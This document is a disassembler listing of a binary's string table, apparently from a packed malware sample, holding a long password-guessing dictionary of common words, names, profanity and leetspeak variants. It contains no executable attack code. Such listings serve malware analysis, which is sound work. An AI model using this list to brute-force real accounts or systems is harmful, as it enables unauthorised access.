aScamper	db 'scamper',0          ; DATA XREF: .nsp0:0043B6C8o
aScheme		db 'scheme',0           ; DATA XREF: .nsp0:0043B6CCo
		align 10h
aSchool		db 'school',0           ; DATA XREF: .nsp0:0043B6D0o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .nsp0:0043B6D4o
aScifi		db 'scifi',0            ; DATA XREF: .nsp0:0043B6D8o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .nsp0:0043B6DCo
		align 4
aScott		db 'scott',0            ; DATA XREF: .nsp0:0043B6E0o
		align 10h
aScotty		db 'scotty',0           ; DATA XREF: .nsp0:0043B6E4o
		align 4
aScout		db 'scout',0            ; DATA XREF: .nsp0:0043B6E8o
		align 10h
aSearch		db 'search',0           ; DATA XREF: .nsp0:0043B6ECo
		align 4
aSecurity	db 'security',0         ; DATA XREF: .nsp0:0043B6F0o
		align 4
aSeed		db 'seed',0             ; DATA XREF: .nsp0:0043B6F4o
		align 4
aSega		db 'sega',0             ; DATA XREF: .nsp0:0043B6F8o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: .nsp0:0043B6FCo
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .nsp0:0043B700o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .nsp0:0043B704o
		align 10h
aSerenity	db 'serenity',0
		align 4
aSerial		db 'serial',0
		align 4
aService_0	db 'service',0
aSesame		db 'sesame',0
		align 4
aSexy		db 'sexy',0
		align 4
aShannon	db 'shannon',0
aSharc		db 'sharc',0
		align 4
aShark		db 'shark',0
		align 4
aSharks		db 'sharks',0
		align 4
aSharon		db 'sharon',0
		align 4
aSheffiel	db 'sheffiel',0
		align 10h
aSheldon	db 'sheldon',0
aShell		db 'shell',0
		align 10h
aSherri		db 'sherri',0
		align 4
aShift		db 'shift',0
		align 10h
aShirley	db 'shirley',0
aShit		db 'shit',0
		align 10h
aShitpot	db 'shitpot',0
aShiva		db 'shiva',0
		align 10h
aShivers	db 'shivers',0
aShort		db 'short',0
		align 10h
aShuttle	db 'shuttle',0
aSick		db 'sick',0
		align 10h
aSierra		db 'sierra',0
		align 4
aSignatur	db 'signatur',0
		align 4
aSilver		db 'silver',0
		align 4
aSimcity	db 'simcity',0
aSimon		db 'simon',0
		align 4
aSimple		db 'simple',0
		align 4
aSimpsons	db 'simpsons',0
		align 10h
aSimulati	db 'simulati',0
		align 4
aSinger		db 'singer',0
		align 4
aSingle		db 'single',0
		align 4
aSite		db 'site',0
		align 4
aSkull		db 'skull',0
		align 4
aSlave		db 'slave',0
		align 4
aSlick		db 'slick',0
		align 4
aSliders	db 'sliders',0
aSlow		db 'slow',0
		align 4
aSlut		db 'slut',0
		align 4
aSmall		db 'small',0
		align 4
aSmart		db 'smart',0
		align 4
aSmile		db 'smile',0
		align 4
aSmiles		db 'smiles',0
		align 4
aSmooch		db 'smooch',0
		align 4
aSmother	db 'smother',0
aSmtp		db 'smtp',0
		align 4
aSmut		db 'smut',0
		align 4
aSnach		db 'snach',0
		align 4
aSnafu		db 'snafu',0
		align 4
aSnake		db 'snake',0
		align 4
aSnatch		db 'snatch',0
		align 4
aSnoopy		db 'snoopy',0
		align 4
aSoap		db 'soap',0
		align 4
aSocial		db 'social',0
		align 4
aSocrates	db 'socrates',0
		align 4
aSodomy		db 'sodomy',0
		align 10h
aSoft		db 'soft',0
		align 4
aSoftware	db 'software',0
		align 4
aSomebody	db 'somebody',0
		align 10h
aSondra		db 'sondra',0           ; DATA XREF: .nsp0:0043B7F5o
		align 4
aSonia		db 'sonia',0
		align 10h
aSonic		db 'sonic',0
		align 4
aSonya		db 'sonya',0            ; DATA XREF: .nsp0:0043B801o
		align 10h
aSossina	db 'sossina',0
aSource		db 'source',0
		align 10h
aSouth		db 'south',0            ; DATA XREF: .nsp0:0043B80Do
		align 4
aSpaceshi	db 'spaceshi',0
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .nsp0:0043B815o
		align 10h
aSpear		db 'spear',0
		align 4
aSpell		db 'spell',0            ; DATA XREF: .nsp0:loc_43B81Do
		align 10h
aSpice		db 'spice',0
		align 4
aSpider		db 'spider',0
		align 10h
aSpiderma	db 'spiderma',0
		align 4
aSpit		db 'spit',0
		align 4
aSpred		db 'spred',0            ; DATA XREF: .nsp0:0043B831o
		align 4
aSpring		db 'spring',0
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .nsp0:0043B839o
		align 10h
aSpunk		db 'spunk',0
		align 4
aSquires	db 'squires',0
aSr71		db 'sr71',0
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .nsp0:0043B849o
		align 10h
aStaci		db 'staci',0
		align 4
aStacie		db 'stacie',0
		align 10h
aStacy		db 'stacy',0            ; DATA XREF: .nsp0:0043B855o
		align 4
aStar		db 'star',0             ; DATA XREF: .nsp0:0043B85Co
		align 10h
aStarship	db 'starship',0         ; DATA XREF: .nsp0:0043B860o
		align 4
aStart_0	db 'start',0            ; DATA XREF: .nsp0:0043B864o
		align 4
aStartrek	db 'startrek',0         ; DATA XREF: .nsp0:0043B868o
		align 10h
aStartup	db 'startup',0          ; DATA XREF: .nsp0:0043B86Co
aStarwars	db 'starwars',0         ; DATA XREF: .nsp0:0043B870o
		align 4
aSteak		db 'steak',0            ; DATA XREF: .nsp0:0043B874o
		align 4
aSteal		db 'steal',0            ; DATA XREF: .nsp0:0043B878o
		align 4
aSteel		db 'steel',0            ; DATA XREF: .nsp0:0043B87Co
		align 4
aSteph		db 'steph',0            ; DATA XREF: .nsp0:0043B880o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: .nsp0:0043B884o
		align 10h
aStereo		db 'stereo',0           ; DATA XREF: .nsp0:0043B888o
		align 4
aSteve		db 'steve',0            ; DATA XREF: .nsp0:0043B88Co
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: .nsp0:0043B890o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: .nsp0:0043B894o
		align 4
aStones		db 'stones',0           ; DATA XREF: .nsp0:0043B898o
		align 4
aStrange	db 'strange',0          ; DATA XREF: .nsp0:0043B89Co
aStrangle	db 'strangle',0         ; DATA XREF: .nsp0:0043B8A0o
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: .nsp0:0043B8A4o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .nsp0:0043B8A8o
		align 4
aString		db 'string',0           ; DATA XREF: .nsp0:0043B8ACo
		align 10h
aStrip		db 'strip',0            ; DATA XREF: .nsp0:0043B8B0o
		align 4
aStudent_0	db 'student',0          ; DATA XREF: .nsp0:0043B8B4o
aStuttgar	db 'stuttgar',0         ; DATA XREF: .nsp0:0043B8B8o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .nsp0:0043B8BCo
		align 4
aSubway		db 'subway',0           ; DATA XREF: .nsp0:0043B8C0o
		align 10h
aSuccess	db 'success',0          ; DATA XREF: .nsp0:0043B8C4o
aSuck		db 'suck',0             ; DATA XREF: .nsp0:0043B8C8o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .nsp0:0043B8CCo
		align 4
aSucks		db 'sucks',0            ; DATA XREF: .nsp0:0043B8D0o
		align 4
aSummer		db 'summer',0           ; DATA XREF: .nsp0:0043B8D4o
		align 4
aSunday_0	db 'sunday',0           ; DATA XREF: .nsp0:0043B8D8o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .nsp0:0043B8DCo
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: .nsp0:0043B8E0o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .nsp0:0043B8E4o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: .nsp0:0043B8E8o
		align 4
aSupervis	db 'supervis',0         ; DATA XREF: .nsp0:0043B8ECo
		align 10h
aSupport	db 'support',0          ; DATA XREF: .nsp0:0043B8F0o
aSupporte	db 'supporte',0         ; DATA XREF: .nsp0:0043B8F4o
		align 4
aSurfer		db 'surfer',0           ; DATA XREF: .nsp0:0043B8F8o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: .nsp0:0043B8FCo
aSusan		db 'susan',0            ; DATA XREF: .nsp0:0043B900o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: .nsp0:0043B904o
aSusie		db 'susie',0            ; DATA XREF: .nsp0:0043B908o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: .nsp0:0043B90Co
aSuzie		db 'suzie',0            ; DATA XREF: .nsp0:0043B910o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: .nsp0:0043B914o
aSweat		db 'sweat',0            ; DATA XREF: .nsp0:0043B918o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: .nsp0:0043B91Co
		align 4
aSword		db 'sword',0            ; DATA XREF: .nsp0:0043B920o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: .nsp0:0043B924o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .nsp0:0043B928o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: .nsp0:0043B92Co
		align 4
aSysop		db 'sysop',0            ; DATA XREF: .nsp0:0043B930o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: .nsp0:0043B934o
aTalk		db 'talk',0             ; DATA XREF: .nsp0:0043B938o
		align 4
aTall		db 'tall',0             ; DATA XREF: .nsp0:0043B93Co
		align 4
aTamara		db 'tamara',0           ; DATA XREF: .nsp0:0043B940o
		align 4
aTami		db 'tami',0             ; DATA XREF: .nsp0:0043B944o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: .nsp0:0043B948o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: .nsp0:0043B94Co
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: .nsp0:0043B950o
		align 4
aTango		db 'tango',0            ; DATA XREF: .nsp0:0043B954o
		align 10h
aTape		db 'tape',0             ; DATA XREF: .nsp0:0043B958o
		align 4
aTara		db 'tara',0             ; DATA XREF: .nsp0:0043B95Co
		align 10h
aTarget		db 'target',0           ; DATA XREF: .nsp0:0043B960o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: .nsp0:0043B964o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: .nsp0:0043B968o
		align 4
aTeacher_0	db 'teacher',0          ; DATA XREF: .nsp0:0043B96Co
aTeam		db 'team',0             ; DATA XREF: .nsp0:0043B970o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: .nsp0:0043B974o
		align 4
aTears		db 'tears',0            ; DATA XREF: .nsp0:0043B978o
		align 4
aTech		db 'tech',0             ; DATA XREF: .nsp0:0043B97Co
		align 4
aTeen		db 'teen',0             ; DATA XREF: .nsp0:0043B980o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: .nsp0:0043B984o
aTelephon	db 'telephon',0         ; DATA XREF: .nsp0:0043B988o
		align 10h
aTelnet		db 'telnet',0           ; DATA XREF: .nsp0:0043B98Co
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: .nsp0:0043B990o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: .nsp0:0043B994o
		align 4
aTera		db 'tera',0             ; DATA XREF: .nsp0:0043B998o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: .nsp0:0043B99Co
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: .nsp0:0043B9A0o
		align 4
aTess		db 'tess',0             ; DATA XREF: .nsp0:0043B9A4o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: .nsp0:0043B9A8o
		align 4
aText		db 'text',0             ; DATA XREF: .nsp0:0043B9ACo
		align 4
aThailand	db 'thailand',0         ; DATA XREF: .nsp0:0043B9B0o
		align 10h
aTheresa	db 'theresa',0          ; DATA XREF: .nsp0:0043B9B4o
aThin		db 'thin',0             ; DATA XREF: .nsp0:0043B9B8o
		align 10h
aThursday_0	db 'thursday',0         ; DATA XREF: .nsp0:0043B9BCo
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: .nsp0:0043B9C0o
aTiger		db 'tiger',0            ; DATA XREF: .nsp0:0043B9C4o
		align 4
aTime		db 'time',0             ; DATA XREF: .nsp0:0043B9C8o
		align 4
aTina		db 'tina',0             ; DATA XREF: .nsp0:0043B9CCo
		align 4
aTits		db 'tits',0             ; DATA XREF: .nsp0:0043B9D0o
		align 4
aToad		db 'toad',0             ; DATA XREF: .nsp0:0043B9D4o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: .nsp0:0043B9D8o
		align 4
aToken		db 'token',0            ; DATA XREF: .nsp0:0043B9DCo
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: .nsp0:0043B9E0o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: .nsp0:0043B9E4o
		align 10h
aTopograp	db 'topograp',0         ; DATA XREF: .nsp0:0043B9E8o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: .nsp0:0043B9ECo
		align 4
aToxic		db 'toxic',0            ; DATA XREF: .nsp0:0043B9F0o
		align 10h
aToyota		db 'toyota',0           ; DATA XREF: .nsp0:0043B9F4o
		align 4
aTraci		db 'traci',0            ; DATA XREF: .nsp0:0043B9F8o
		align 10h
aTracie		db 'tracie',0           ; DATA XREF: .nsp0:0043B9FCo
		align 4
aTracy		db 'tracy',0            ; DATA XREF: .nsp0:0043BA00o
		align 10h
aTrails		db 'trails',0           ; DATA XREF: .nsp0:0043BA04o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: .nsp0:0043BA08o
		align 4
aTrap		db 'trap',0             ; DATA XREF: .nsp0:0043BA0Co
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: .nsp0:0043BA10o
		align 4
aTree		db 'tree',0             ; DATA XREF: .nsp0:0043BA14o
		align 10h
aTrek		db 'trek',0             ; DATA XREF: .nsp0:0043BA18o
		align 4
aTrisha		db 'trisha',0           ; DATA XREF: .nsp0:0043BA1Co
		align 10h
aTrivial	db 'trivial',0          ; DATA XREF: .nsp0:0043BA20o
aTrojan		db 'trojan',0           ; DATA XREF: .nsp0:0043BA24o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: .nsp0:0043BA28o
		align 4
aTron		db 'tron',0             ; DATA XREF: .nsp0:0043BA2Co
		align 4
aTrue		db 'true',0             ; DATA XREF: .nsp0:0043BA30o
		align 4
aTruth		db 'truth',0            ; DATA XREF: .nsp0:0043BA34o
		align 4
aTubas		db 'tubas',0            ; DATA XREF: .nsp0:0043BA38o
		align 4
aTuesday_0	db 'tuesday',0          ; DATA XREF: .nsp0:0043BA3Co
aTurn		db 'turn',0             ; DATA XREF: .nsp0:0043BA40o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: .nsp0:0043BA44o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: .nsp0:0043BA48o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: .nsp0:0043BA4Co
		align 4
aUncle		db 'uncle',0            ; DATA XREF: .nsp0:0043BA50o
		align 4
aUndo		db 'undo',0             ; DATA XREF: .nsp0:0043BA54o
		align 4
aUnhappy	db 'unhappy',0          ; DATA XREF: .nsp0:0043BA58o
aUnicorn	db 'unicorn',0          ; DATA XREF: .nsp0:0043BA5Co
aUniform	db 'uniform',0          ; DATA XREF: .nsp0:0043BA60o
aUniversa	db 'universa',0         ; DATA XREF: .nsp0:0043BA64o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: .nsp0:0043BA68o
		align 4
aUniversi	db 'universi',0         ; DATA XREF: .nsp0:0043BA6Co
		align 10h
aUnknown_1	db 'unknown',0          ; DATA XREF: .nsp0:0043BA70o
aUnlock		db 'unlock',0           ; DATA XREF: .nsp0:0043BA74o
		align 10h
aUpload_0	db 'upload',0           ; DATA XREF: .nsp0:0043BA78o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: .nsp0:0043BA7Co
		align 10h
aUrchin		db 'urchin',0           ; DATA XREF: .nsp0:0043BA80o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: .nsp0:0043BA84o
		align 10h
aUsenet		db 'usenet',0           ; DATA XREF: .nsp0:0043BA88o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .nsp0:0043BA8Co
		align 4
aUsername	db 'username',0         ; DATA XREF: .nsp0:0043BA90o
		align 10h
aUsmc		db 'usmc',0             ; DATA XREF: .nsp0:0043BA94o
		align 4
aUtil		db 'util',0             ; DATA XREF: .nsp0:0043BA98o
		align 10h
aUtility	db 'utility',0          ; DATA XREF: .nsp0:0043BA9Co
aUucp		db 'uucp',0             ; DATA XREF: .nsp0:0043BAA0o
		align 10h
aVagina		db 'vagina',0           ; DATA XREF: .nsp0:0043BAA4o
		align 4
aValerie	db 'valerie',0          ; DATA XREF: .nsp0:0043BAA8o
aVampire	db 'vampire',0          ; DATA XREF: .nsp0:0043BAACo
aVasant		db 'vasant',0           ; DATA XREF: .nsp0:0043BAB0o
		align 10h
aVenus		db 'venus',0            ; DATA XREF: .nsp0:0043BAB4o
		align 4
aVeronica	db 'veronica',0         ; DATA XREF: .nsp0:0043BAB8o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: .nsp0:0043BABCo
aVicky		db 'vicky',0            ; DATA XREF: .nsp0:0043BAC0o
		align 4
aVictor		db 'victor',0           ; DATA XREF: .nsp0:0043BAC4o
		align 4
aVideo		db 'video',0            ; DATA XREF: .nsp0:0043BAC8o
		align 4
aVideogam	db 'videogam',0         ; DATA XREF: .nsp0:0043BACCo
		align 10h
aVillage	db 'village',0          ; DATA XREF: .nsp0:0043BAD0o
aVirgin		db 'virgin',0           ; DATA XREF: .nsp0:0043BAD4o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: .nsp0:0043BAD8o
		align 4
aVirus		db 'virus',0            ; DATA XREF: .nsp0:0043BADCo
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: .nsp0:0043BAE0o
aVisual		db 'visual',0           ; DATA XREF: .nsp0:0043BAE4o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: .nsp0:0043BAE8o
		align 10h
aVodka		db 'vodka',0            ; DATA XREF: .nsp0:0043BAECo
		align 4
aWaco		db 'waco',0             ; DATA XREF: .nsp0:0043BAF0o
		align 10h
aWard		db 'ward',0             ; DATA XREF: .nsp0:0043BAF4o
		align 4
aWarez		db 'warez',0            ; DATA XREF: .nsp0:0043BAF8o
		align 10h
aWarfare	db 'warfare',0          ; DATA XREF: .nsp0:0043BAFCo
aWargames	db 'wargames',0         ; DATA XREF: .nsp0:0043BB00o
		align 4
aWarp		db 'warp',0             ; DATA XREF: .nsp0:0043BB04o
		align 4
aWarren		db 'warren',0           ; DATA XREF: .nsp0:0043BB08o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: .nsp0:0043BB0Co
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .nsp0:0043BB10o
		align 4
aWater		db 'water',0            ; DATA XREF: .nsp0:0043BB14o
		align 10h
aWave		db 'wave',0             ; DATA XREF: .nsp0:0043BB18o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .nsp0:0043BB1Co
aWednesda	db 'wednesda',0         ; DATA XREF: .nsp0:0043BB20o
		align 4
aWeed		db 'weed',0             ; DATA XREF: .nsp0:0043BB24o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: .nsp0:0043BB28o
		align 4
aWell		db 'well',0             ; DATA XREF: .nsp0:0043BB2Co
		align 4
aWendi		db 'wendi',0            ; DATA XREF: .nsp0:0043BB30o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: .nsp0:0043BB34o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .nsp0:0043BB38o
		align 10h
aWest		db 'west',0
		align 4
aWestern	db 'western',0
aWhatever	db 'whatever',0
		align 4
aWhatnot	db 'whatnot',0
aWhisky		db 'whisky',0
		align 4
aWhite		db 'white',0
		align 4
aWhiting	db 'whiting',0
aWhitney	db 'whitney',0
aWholesal	db 'wholesal',0
		align 10h
aWhore		db 'whore',0
		align 4
aWill		db 'will',0
		align 10h
aWilliam	db 'william',0
aWilliams	db 'williams',0
		align 4
aWillie		db 'willie',0
		align 4
aWilma		db 'wilma',0
		align 4
aWindows	db 'windows',0          ; DATA XREF: .nsp0:0043BB78o
aWine		db 'wine',0             ; DATA XREF: .nsp0:0043BB7Co
		align 4
aWing		db 'wing',0             ; DATA XREF: .nsp0:0043BB80o
		align 4
aWinston	db 'winston',0          ; DATA XREF: .nsp0:0043BB84o
aWired		db 'wired',0            ; DATA XREF: .nsp0:0043BB88o
		align 4
aWisconsi	db 'wisconsi',0         ; DATA XREF: .nsp0:0043BB8Co
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .nsp0:0043BB90o
aWithin		db 'within',0           ; DATA XREF: .nsp0:0043BB94o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .nsp0:0043BB98o
		align 10h
aWolf		db 'wolf',0             ; DATA XREF: .nsp0:0043BB9Co
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: .nsp0:0043BBA0o
		align 4
aWoman		db 'woman',0            ; DATA XREF: .nsp0:0043BBA4o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: .nsp0:0043BBA8o
		align 4
aWomen		db 'women',0            ; DATA XREF: .nsp0:0043BBACo
		align 4
aWood		db 'wood',0             ; DATA XREF: .nsp0:0043BBB0o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .nsp0:0043BBB4o
		align 10h
aWord		db 'word',0             ; DATA XREF: .nsp0:0043BBB8o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: .nsp0:0043BBBCo
		align 4
aWorf		db 'worf',0             ; DATA XREF: .nsp0:0043BBC0o
		align 4
aWork		db 'work',0             ; DATA XREF: .nsp0:0043BBC4o
		align 4
aWorm		db 'worm',0             ; DATA XREF: .nsp0:0043BBC8o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .nsp0:0043BBCCo
		align 4
aWwii		db 'wwii',0             ; DATA XREF: .nsp0:0043BBD0o
		align 10h
aWyoming	db 'wyoming',0          ; DATA XREF: .nsp0:0043BBD4o
aXena		db 'xena',0             ; DATA XREF: .nsp0:0043BBD8o
		align 10h
aXfer		db 'xfer',0             ; DATA XREF: .nsp0:0043BBDCo
		align 4
aXman		db 'xman',0             ; DATA XREF: .nsp0:0043BBE0o
		align 10h
aXmen		db 'xmen',0             ; DATA XREF: .nsp0:0043BBE4o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .nsp0:0043BBE8o
		align 10h
aXray		db 'xray',0             ; DATA XREF: .nsp0:0043BBECo
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .nsp0:0043BBF0o
		align 10h
aYaco		db 'yaco',0             ; DATA XREF: .nsp0:0043BBF4o
		align 4
aYang		db 'yang',0             ; DATA XREF: .nsp0:0043BBF8o
		align 10h
aYankee		db 'yankee',0           ; DATA XREF: .nsp0:0043BBFCo
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .nsp0:0043BC00o
		align 10h
aYellowst	db 'yellowst',0         ; DATA XREF: .nsp0:0043BC04o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: .nsp0:0043BC08o
aYosemite	db 'yosemite',0         ; DATA XREF: .nsp0:0043BC0Co
		align 10h
aYoung		db 'young',0            ; DATA XREF: .nsp0:0043BC10o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .nsp0:0043BC14o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .nsp0:0043BC18o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: .nsp0:0043BC1Co
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .nsp0:0043BC20o
		align 10h
aZmodem		db 'zmodem',0           ; DATA XREF: .nsp0:0043BC24o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .nsp0:0043BC28o
		align 10h
aZulu		db 'zulu',0             ; DATA XREF: .nsp0:0043BC2Co
		align 4
a00000000	db '00000000',0         ; DATA XREF: .nsp0:0043BC30o
		align 4
aTester		db 'tester',0           ; DATA XREF: .nsp0:0043BC34o
		align 4
aTestin		db 'testin',0           ; DATA XREF: .nsp0:0043BC38o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: .nsp0:0043BC3Co
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: .nsp0:0043BC40o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: .nsp0:0043BC44o
		align 4
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .nsp0:0043BC48o
		align 4
aLol		db 'lol',0              ; DATA XREF: .nsp0:0043BC4Co
aD00d		db 'd00d',0             ; DATA XREF: .nsp0:0043BC50o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .nsp0:0043BC54o
aDud3		db 'dud3',0             ; DATA XREF: .nsp0:0043BC58o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .nsp0:0043BC5Co
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: .nsp0:0043BC60o
		align 4
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .nsp0:0043BC64o
		align 4
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .nsp0:0043BC68o
aWindowz	db 'windowz',0          ; DATA XREF: .nsp0:0043BC6Co
aWindoze	db 'windoze',0          ; DATA XREF: .nsp0:0043BC70o
aWindose	db 'windose',0          ; DATA XREF: .nsp0:0043BC74o
aBilly		db 'billy',0            ; DATA XREF: .nsp0:0043BC78o
		align 4
aM_2		db 'M$',0               ; DATA XREF: .nsp0:0043BC7Co
		align 4
aMs		db 'MS',0               ; DATA XREF: .nsp0:0043BC80o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .nsp0:0043BC84o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .nsp0:0043BC88o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: .nsp0:0043BC8Co
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: .nsp0:0043BC90o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .nsp0:0043BC94o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: .nsp0:0043BC98o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .nsp0:0043BC9Co
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: .nsp0:0043BCA0o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .nsp0:0043BCA4o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .nsp0:0043BCA8o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: .nsp0:0043BCACo
		align 4
aHo		db 'ho',0               ; DATA XREF: .nsp0:0043BCB0o
		align 10h
aWh0re		db 'wh0re',0            ; DATA XREF: .nsp0:0043BCB4o
		align 4
aHax		db 'hax',0              ; DATA XREF: .nsp0:0043BCB8o
aHaxing		db 'haxing',0           ; DATA XREF: .nsp0:0043BCBCo
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .nsp0:0043BCC0o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .nsp0:0043BCC4o
		align 4
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .nsp0:0043BCC8o
		align 4
aAda		db 'ada',0              ; DATA XREF: .nsp0:0043BCCCo
aAlbatross	db 'albatross',0        ; DATA XREF: .nsp0:0043BCD0o
		align 4
aAlf		db 'alf',0              ; DATA XREF: .nsp0:0043BCD4o
aAma		db 'ama',0              ; DATA XREF: .nsp0:0043BCD8o
aAmorphous	db 'amorphous',0        ; DATA XREF: .nsp0:0043BCDCo
		align 4
aAmy		db 'amy',0              ; DATA XREF: .nsp0:0043BCE0o
aAndromache	db 'andromache',0       ; DATA XREF: .nsp0:0043BCE4o
		align 4
aAnn		db 'ann',0              ; DATA XREF: .nsp0:0043BCE8o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .nsp0:0043BCECo
		align 4
aAsd		db 'asd',0              ; DATA XREF: .nsp0:0043BCF0o
aAsm		db 'asm',0              ; DATA XREF: .nsp0:0043BCF4o
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .nsp0:0043BCF8o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: .nsp0:0043BCFCo
		align 4
aBicameral	db 'bicameral',0        ; DATA XREF: .nsp0:0043BD00o
		align 4
aBob		db 'bob',0              ; DATA XREF: .nsp0:0043BD04o
aBsd		db 'bsd',0              ; DATA XREF: .nsp0:0043BD08o
aCad		db 'cad',0              ; DATA XREF: .nsp0:0043BD0Co
aCampanile	db 'campanile',0        ; DATA XREF: .nsp0:0043BD10o
		align 10h
aCat		db 'cat',0              ; DATA XREF: .nsp0:0043BD14o
aCatherine	db 'catherine',0        ; DATA XREF: .nsp0:0043BD18o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: .nsp0:0043BD1Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: .nsp0:0043BD20o
		align 4
aChristine	db 'christine',0        ; DATA XREF: .nsp0:0043BD24o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: .nsp0:0043BD28o
		align 10h
aCornelius	db 'cornelius',0        ; DATA XREF: .nsp0:0043BD2Co
		align 4
aDeb		db 'deb',0              ; DATA XREF: .nsp0:0043BD30o
aDesperate	db 'desperate',0        ; DATA XREF: .nsp0:0043BD34o
		align 4
aDiscovery	db 'discovery',0        ; DATA XREF: .nsp0:0043BD38o
		align 4
aDog		db 'dog',0              ; DATA XREF: .nsp0:0043BD3Co
aDos		db 'dos',0              ; DATA XREF: .nsp0:0043BD40o
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .nsp0:0043BD44o
		align 4
